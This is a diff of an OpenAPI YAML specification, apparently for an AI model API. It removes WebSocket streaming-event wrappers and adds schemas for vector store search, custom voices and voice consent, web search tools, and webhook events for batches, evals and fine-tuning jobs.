- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseShellCallCommandWsAdded
- description: A streaming event that indicated a shell command was added to a tool call.
- allOf:
- - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseShellCallCommandWsDelta
- description: A streaming event that indicated a shell command was incrementally updated.
- allOf:
- - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseShellCallCommandWsDone
- description: A streaming event that indicated a shell command was completed.
- allOf:
- - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseShellCallOutputContentWsDelta
- description: A streaming event that indicated shell call output was incrementally added.
- allOf:
- - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
- x-stainless-skip:
- - go
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseShellCallOutputContentWsDone
- description: A streaming event that indicated shell call output was completed.
- allOf:
- - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseInWsProgress
- description: Emitted when the response is in progress.
- allOf:
- - $ref: '#/components/schemas/ResponseInProgressEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWsFailed
- description: |
- An event that is emitted when a response fails.
- allOf:
- - $ref: '#/components/schemas/ResponseFailedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWsIncomplete
- description: |
- An event that is emitted when a response finishes as incomplete.
-
- Over WebSocket, steering can finish a response with
- `response.incomplete_details.reason` set to `steered`, followed automatically
- by a successor `response.created` that commits the queued steering input.
- allOf:
- - $ref: '#/components/schemas/ResponseIncompleteEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseOutputItemWsAdded
- description: Emitted when a new output item is added.
- allOf:
- - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseOutputItemWsDone
- description: Emitted when an output item is marked done.
- allOf:
- - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseReasoningSummaryPartWsAdded
- description: Emitted when a new reasoning summary part is added.
- allOf:
- - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseReasoningSummaryPartWsDone
- description: Emitted when a reasoning summary part is completed.
- allOf:
- - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseReasoningSummaryTextWsDelta
- description: Emitted when a delta is added to a reasoning summary text.
- allOf:
- - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseReasoningSummaryTextWsDone
- description: Emitted when a reasoning summary text is completed.
- allOf:
- - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseReasoningTextWsDelta
- description: Emitted when a delta is added to a reasoning text.
- allOf:
- - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseReasoningTextWsDone
- description: Emitted when a reasoning text is completed.
- allOf:
- - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
- - type: object
+ VectorStoreSearchRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ query:
+ description: A query string for a search
+ anyOf:
+ - type: string
+ - type: array
+ items:
+ type: string
+ description: A list of queries to search for.
+ minItems: 1
+ rewrite_query:
+ description: Whether to rewrite the natural language query for vector search.
+ type: boolean
+ default: false
+ max_num_results:
+ description: The maximum number of results to return. This number should be between 1 and 50 inclusive.
+ type: integer
+ default: 10
+ minimum: 1
+ maximum: 50
+ filters:
+ description: A filter to apply based on file attributes.
+ anyOf:
+ - $ref: '#/components/schemas/ComparisonFilter'
+ - $ref: '#/components/schemas/CompoundFilter'
+ ranking_options:
+ description: Ranking options for search.
+ type: object
+ additionalProperties: false
properties:
- stream_id:
+ ranker:
+ description: Enable re-ranking; set to `none` to disable, which can help reduce latency.
type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseRefusalWsDelta
- description: Emitted when there is a partial refusal text.
- allOf:
- - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
- - type: object
+ enum:
+ - none
+ - auto
+ - default-2024-11-15
+ default: auto
+ score_threshold:
+ type: number
+ minimum: 0
+ maximum: 1
+ default: 0
+ required:
+ - query
+ x-oaiMeta:
+ name: Vector store search request
+ VectorStoreSearchResultContentObject:
+ type: object
+ additionalProperties: false
+ properties:
+ type:
+ description: The type of content.
+ type: string
+ enum:
+ - text
+ text:
+ description: The text content returned from search.
+ type: string
+ required:
+ - type
+ - text
+ x-oaiMeta:
+ name: Vector store search result content object
+ VectorStoreSearchResultItem:
+ type: object
+ additionalProperties: false
+ properties:
+ file_id:
+ type: string
+ description: The ID of the vector store file.
+ filename:
+ type: string
+ description: The name of the vector store file.
+ score:
+ type: number
+ description: The similarity score for the result.
+ minimum: 0
+ maximum: 1
+ attributes:
+ $ref: '#/components/schemas/VectorStoreFileAttributes'
+ content:
+ type: array
+ description: Content chunks from the file.
+ items:
+ $ref: '#/components/schemas/VectorStoreSearchResultContentObject'
+ required:
+ - file_id
+ - filename
+ - score
+ - attributes
+ - content
+ x-oaiMeta:
+ name: Vector store search result item
+ VectorStoreSearchResultsPage:
+ type: object
+ additionalProperties: false
+ properties:
+ object:
+ type: string
+ enum:
+ - vector_store.search_results.page
+ description: The object type, which is always `vector_store.search_results.page`
+ x-stainless-const: true
+ search_query:
+ type: array
+ items:
+ type: string
+ description: The query used for this search.
+ minItems: 1
+ data:
+ type: array
+ description: The list of search result items.
+ items:
+ $ref: '#/components/schemas/VectorStoreSearchResultItem'
+ has_more:
+ type: boolean
+ description: Indicates if there are more results to fetch.
+ next_page:
+ anyOf:
+ - type: string
+ description: The token for the next page, if any.
+ - type: 'null'
+ required:
+ - object
+ - search_query
+ - data
+ - has_more
+ - next_page
+ x-oaiMeta:
+ name: Vector store search results page
+ Verbosity:
+ anyOf:
+ - type: string
+ enum:
+ - low
+ - medium
+ - high
+ default: medium
+ description: |
+ Constrains the verbosity of the model's response. Lower values will result in
+ more concise responses, while higher values will result in more verbose responses.
+ Currently supported values are `low`, `medium`, and `high`. The default is
+ `medium`.
+ - type: 'null'
+ VoiceConsentDeletedResource:
+ type: object
+ additionalProperties: false
+ properties:
+ id:
+ type: string
+ description: The consent recording identifier.
+ example: cons_1234
+ object:
+ type: string
+ enum:
+ - audio.voice_consent
+ x-stainless-const: true
+ deleted:
+ type: boolean
+ required:
+ - id
+ - object
+ - deleted
+ x-oaiMeta:
+ name: The voice consent deletion object
+ example: |
+ {
+ "object": "audio.voice_consent",
+ "id": "cons_1234",
+ "deleted": true
+ }
+ VoiceConsentListResource:
+ type: object
+ additionalProperties: false
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/VoiceConsentResource'
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ has_more:
+ type: boolean
+ required:
+ - object
+ - data
+ - has_more
+ x-oaiMeta:
+ name: The voice consent list object
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "audio.voice_consent",
+ "id": "cons_1234",
+ "name": "John Doe",
+ "language": "en-US",
+ "created_at": 1734220800
+ }
+ ],
+ "first_id": "cons_1234",
+ "last_id": "cons_1234",
+ "has_more": false
+ }
+ VoiceConsentResource:
+ type: object
+ title: Voice consent
+ description: A consent recording used to authorize creation of a custom voice.
+ additionalProperties: false
+ properties:
+ object:
+ type: string
+ description: The object type, which is always `audio.voice_consent`.
+ enum:
+ - audio.voice_consent
+ x-stainless-const: true
+ id:
+ type: string
+ description: The consent recording identifier.
+ example: cons_1234
+ name:
+ type: string
+ description: The label provided when the consent recording was uploaded.
+ language:
+ type: string
+ description: The BCP 47 language tag for the consent phrase (for example, `en-US`).
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the consent recording was created.
+ required:
+ - object
+ - id
+ - name
+ - language
+ - created_at
+ x-oaiMeta:
+ name: The voice consent object
+ example: |
+ {
+ "object": "audio.voice_consent",
+ "id": "cons_1234",
+ "name": "John Doe",
+ "language": "en-US",
+ "created_at": 1734220800
+ }
+ VoiceIdsOrCustomVoice:
+ title: Voice
+ description: |
+ A built-in voice name or a custom voice reference.
+ anyOf:
+ - $ref: '#/components/schemas/VoiceIdsShared'
+ - type: object
+ description: Custom voice reference.
+ additionalProperties: false
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ description: The custom voice ID, e.g. `voice_1234`.
+ example: voice_1234
+ VoiceIdsShared:
+ example: ash
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - alloy
+ - ash
+ - ballad
+ - coral
+ - echo
+ - sage
+ - shimmer
+ - verse
+ - marin
+ - cedar
+ VoiceResource:
+ type: object
+ title: Voice
+ description: A custom voice that can be used for audio output.
+ additionalProperties: false
+ properties:
+ object:
+ type: string
+ description: The object type, which is always `audio.voice`.
+ enum:
+ - audio.voice
+ x-stainless-const: true
+ id:
+ type: string
+ description: The voice identifier, which can be referenced in API endpoints.
+ name:
+ type: string
+ description: The name of the voice.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the voice was created.
+ required:
+ - object
+ - id
+ - name
+ - created_at
+ x-oaiMeta:
+ name: The voice object
+ example: |
+ {
+ "object": "audio.voice",
+ "id": "voice_123abc",
+ "name": "My new voice",
+ "created_at": 1734220800
+ }
+ WebSearchActionFind:
+ type: object
+ title: Find action
+ description: |
+ Action type "find_in_page": Searches for a pattern within a loaded page.
+ properties:
+ type:
+ type: string
+ enum:
+ - find_in_page
+ description: |
+ The action type.
+ x-stainless-const: true
+ url:
+ type: string
+ format: uri
+ description: |
+ The URL of the page searched for the pattern.
+ pattern:
+ type: string
+ description: |
+ The pattern or text to search for within the page.
+ required:
+ - type
+ - url
+ - pattern
+ WebSearchActionOpenPage:
+ type: object
+ title: Open page action
+ description: |
+ Action type "open_page" - Opens a specific URL from search results.
+ properties:
+ type:
+ type: string
+ enum:
+ - open_page
+ description: |
+ The action type.
+ x-stainless-const: true
+ url:
+ description: |
+ The URL opened by the model.
+ anyOf:
+ - type: string
+ format: uri
+ - type: 'null'
+ required:
+ - type
+ WebSearchActionSearch:
+ type: object
+ title: Search action
+ description: |
+ Action type "search" - Performs a web search query.
+ properties:
+ type:
+ type: string
+ enum:
+ - search
+ description: |
+ The action type.
+ x-stainless-const: true
+ query:
+ type: string
+ deprecated: true
+ description: |
+ The search query.
+ queries:
+ type: array
+ title: Search queries
+ description: |
+ The search queries.
+ items:
+ type: string
+ description: |
+ A search query.
+ sources:
+ type: array
+ title: Web search sources
+ description: |
+ The sources used in the search.
+ items:
+ type: object
+ title: Web search source
+ description: |
+ A source used in the search.
+ properties:
+ type:
+ type: string
+ enum:
+ - url
+ description: |
+ The type of source. Always `url`.
+ x-stainless-const: true
+ url:
+ type: string
+ format: uri
+ description: |
+ The URL of the source.
+ required:
+ - type
+ - url
+ required:
+ - type
+ WebSearchApproximateLocation:
+ anyOf:
+ - type: object
+ title: Web search approximate location
+ description: |
+ The approximate location of the user.
+ properties:
+ type:
+ type: string
+ enum:
+ - approximate
+ description: The type of location approximation. Always `approximate`.
+ default: approximate
+ x-stainless-const: true
+ country:
+ anyOf:
+ - type: string
+ description: The two-letter [ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1) of the user, e.g. `US`.
+ - type: 'null'
+ region:
+ anyOf:
+ - type: string
+ description: Free text input for the region of the user, e.g. `California`.
+ - type: 'null'
+ city:
+ anyOf:
+ - type: string
+ description: Free text input for the city of the user, e.g. `San Francisco`.
+ - type: 'null'
+ timezone:
+ anyOf:
+ - type: string
+ description: The [IANA timezone](https://timeapi.io/documentation/iana-timezones) of the user, e.g. `America/Los_Angeles`.
+ - type: 'null'
+ - type: 'null'
+ WebSearchContextSize:
+ type: string
+ description: "High level guidance for the amount of context window space to use for the \nsearch. One of `low`, `medium`, or `high`. `medium` is the default.\n"
+ enum:
+ - low
+ - medium
+ - high
+ default: medium
+ WebSearchLocation:
+ type: object
+ title: Web search location
+ description: Approximate location parameters for the search.
+ properties:
+ country:
+ type: string
+ description: "The two-letter \n[ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1) of the user,\ne.g. `US`.\n"
+ region:
+ type: string
+ description: |
+ Free text input for the region of the user, e.g. `California`.
+ city:
+ type: string
+ description: |
+ Free text input for the city of the user, e.g. `San Francisco`.
+ timezone:
+ type: string
+ description: "The [IANA timezone](https://timeapi.io/documentation/iana-timezones) \nof the user, e.g. `America/Los_Angeles`.\n"
+ WebSearchTool:
+ type: object
+ title: Web search
+ description: |
+ Search the Internet for sources related to the prompt. Learn more about the
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
+ properties:
+ type:
+ type: string
+ enum:
+ - web_search
+ - web_search_2025_08_26
+ description: The type of the web search tool. One of `web_search` or `web_search_2025_08_26`.
+ default: web_search
+ external_web_access:
+ type: boolean
+ default: true
+ description: Allow live internet access for web search. Defaults to true when omitted. When false, the web search tool runs in offline/cache-only mode and will not fetch new external content.
+ filters:
+ anyOf:
+ - type: object
+ description: |
+ Filters for the search.
+ properties:
+ allowed_domains:
+ anyOf:
+ - type: array
+ title: Allowed domains for the search.
+ description: |
+ Allowed domains for the search. If not provided, all domains are allowed.
+ Subdomains of the provided domains are allowed as well.
+
+ Example: `["pubmed.ncbi.nlm.nih.gov"]`
+ items:
+ type: string
+ description: Allowed domain for the search.
+ default: []
+ - type: 'null'
+ - type: 'null'
+ user_location:
+ $ref: '#/components/schemas/WebSearchApproximateLocation'
+ search_context_size:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ default: medium
+ description: High level guidance for the amount of context window space to use for the search. One of `low`, `medium`, or `high`. `medium` is the default.
+ required:
+ - type
+ WebSearchToolCall:
+ type: object
+ title: Web search tool call
+ description: |
+ The results of a web search tool call. See the
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
+ properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the web search tool call.
+ type:
+ type: string
+ enum:
+ - web_search_call
+ description: |
+ The type of the web search tool call. Always `web_search_call`.
+ x-stainless-const: true
+ status:
+ description: |
+ The status of the web search tool call.
+ $ref: '#/components/schemas/WebSearchCallStatus'
+ action:
+ type: object
+ description: |
+ An object describing the specific action taken in this web search call.
+ Includes details on how the model used the web (search, open_page, find_in_page).
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchActionSearch'
+ - $ref: '#/components/schemas/WebSearchActionOpenPage'
+ - $ref: '#/components/schemas/WebSearchActionFind'
+ required:
+ - id
+ - type
+ - status
+ - action
+ WebhookBatchCancelled:
+ type: object
+ title: batch.cancelled
+ description: |
+ Sent when a batch API request has been cancelled.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the batch API request was cancelled.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseRefusalWsDone
- description: Emitted when refusal text is finalized.
- allOf:
- - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
- - type: object
+ The unique ID of the batch API request.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `batch.cancelled`.
+ enum:
+ - batch.cancelled
+ x-stainless-const: true
+ x-oaiMeta:
+ name: batch.cancelled
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "batch.cancelled",
+ "created_at": 1719168000,
+ "data": {
+ "id": "batch_abc123"
+ }
+ }
+ WebhookBatchCompleted:
+ type: object
+ title: batch.completed
+ description: |
+ Sent when a batch API request has been completed.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the batch API request was completed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseTextWsDelta
- description: Emitted when there is an additional text delta.
- allOf:
- - $ref: '#/components/schemas/ResponseTextDeltaEvent'
- - type: object
+ The unique ID of the batch API request.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `batch.completed`.
+ enum:
+ - batch.completed
+ x-stainless-const: true
+ x-oaiMeta:
+ name: batch.completed
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "batch.completed",
+ "created_at": 1719168000,
+ "data": {
+ "id": "batch_abc123"
+ }
+ }
+ WebhookBatchExpired:
+ type: object
+ title: batch.expired
+ description: |
+ Sent when a batch API request has expired.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the batch API request expired.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseTextWsDone
- description: Emitted when text content is finalized.
- allOf:
- - $ref: '#/components/schemas/ResponseTextDoneEvent'
- - type: object
+ The unique ID of the batch API request.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `batch.expired`.
+ enum:
+ - batch.expired
+ x-stainless-const: true
+ x-oaiMeta:
+ name: batch.expired
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "batch.expired",
+ "created_at": 1719168000,
+ "data": {
+ "id": "batch_abc123"
+ }
+ }
+ WebhookBatchFailed:
+ type: object
+ title: batch.failed
+ description: |
+ Sent when a batch API request has failed.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the batch API request failed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWebSearchCallWsCompleted
- description: Emitted when a web search call is completed.
- allOf:
- - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
- - type: object
+ The unique ID of the batch API request.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `batch.failed`.
+ enum:
+ - batch.failed
+ x-stainless-const: true
+ x-oaiMeta:
+ name: batch.failed
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "batch.failed",
+ "created_at": 1719168000,
+ "data": {
+ "id": "batch_abc123"
+ }
+ }
+ WebhookEvalRunCanceled:
+ type: object
+ title: eval.run.canceled
+ description: |
+ Sent when an eval run has been canceled.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the eval run was canceled.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWebSearchCallInWsProgress
- description: Emitted when a web search call is initiated.
- allOf:
- - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
- - type: object
+ The unique ID of the eval run.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `eval.run.canceled`.
+ enum:
+ - eval.run.canceled
+ x-stainless-const: true
+ x-oaiMeta:
+ name: eval.run.canceled
+ group: webhook-events
+ example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"eval.run.canceled\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"evalrun_abc123\"\n }\n} \n"
+ WebhookEvalRunFailed:
+ type: object
+ title: eval.run.failed
+ description: |
+ Sent when an eval run has failed.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the eval run failed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWebSearchCallWsSearching
- description: Emitted when a web search call is executing.
- allOf:
- - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
- - type: object
+ The unique ID of the eval run.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `eval.run.failed`.
+ enum:
+ - eval.run.failed
+ x-stainless-const: true
+ x-oaiMeta:
+ name: eval.run.failed
+ group: webhook-events
+ example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"eval.run.failed\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"evalrun_abc123\"\n }\n} \n"
+ WebhookEvalRunSucceeded:
+ type: object
+ title: eval.run.succeeded
+ description: |
+ Sent when an eval run has succeeded.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the eval run succeeded.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseImageGenCallWsCompleted
- description: |
- Emitted when an image generation tool call has completed and the final image is available.
- allOf:
- - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
- - type: object
+ The unique ID of the eval run.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `eval.run.succeeded`.
+ enum:
+ - eval.run.succeeded
+ x-stainless-const: true
+ x-oaiMeta:
+ name: eval.run.succeeded
+ group: webhook-events
+ example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"eval.run.succeeded\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"evalrun_abc123\"\n }\n} \n"
+ WebhookFineTuningJobCancelled:
+ type: object
+ title: fine_tuning.job.cancelled
+ description: |
+ Sent when a fine-tuning job has been cancelled.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the fine-tuning job was cancelled.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseImageGenCallWsGenerating
- description: |
- Emitted when an image generation tool call is actively generating an image (intermediate state).
- allOf:
- - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
- - type: object
+ The unique ID of the fine-tuning job.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `fine_tuning.job.cancelled`.
+ enum:
+ - fine_tuning.job.cancelled
+ x-stainless-const: true
+ x-oaiMeta:
+ name: fine_tuning.job.cancelled
+ group: webhook-events
+ example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"fine_tuning.job.cancelled\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"ftjob_abc123\"\n }\n} \n"
+ WebhookFineTuningJobFailed:
+ type: object
+ title: fine_tuning.job.failed
+ description: |
+ Sent when a fine-tuning job has failed.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the fine-tuning job failed.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseImageGenCallInWsProgress
- description: |
- Emitted when an image generation tool call is in progress.
- allOf:
- - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
- - type: object
+ The unique ID of the fine-tuning job.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `fine_tuning.job.failed`.
+ enum:
+ - fine_tuning.job.failed
+ x-stainless-const: true
+ x-oaiMeta:
+ name: fine_tuning.job.failed
+ group: webhook-events
+ example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"fine_tuning.job.failed\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"ftjob_abc123\"\n }\n} \n"
+ WebhookFineTuningJobSucceeded:
+ type: object
+ title: fine_tuning.job.succeeded
+ description: |
+ Sent when a fine-tuning job has succeeded.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the fine-tuning job succeeded.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - id
properties:
- stream_id:
+ id:
type: string
description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseImageGenCallPartialWsImage
- description: |
- Emitted when a partial image is available during image generation streaming.
- allOf:
- - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
- - type: object
+ The unique ID of the fine-tuning job.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `fine_tuning.job.succeeded`.
+ enum:
+ - fine_tuning.job.succeeded
+ x-stainless-const: true
+ x-oaiMeta:
+ name: fine_tuning.job.succeeded
+ group: webhook-events
+ example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"fine_tuning.job.succeeded\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"ftjob_abc123\"\n }\n} \n"
+ WebhookLiveCallIncoming:
+ type: object
+ title: live.call.incoming
+ deprecated: true
+ description: |
+ Deprecated: use `live.transport.incoming`. Retained for existing subscriptions
+ during migration; new subscriptions to this event are not allowed.
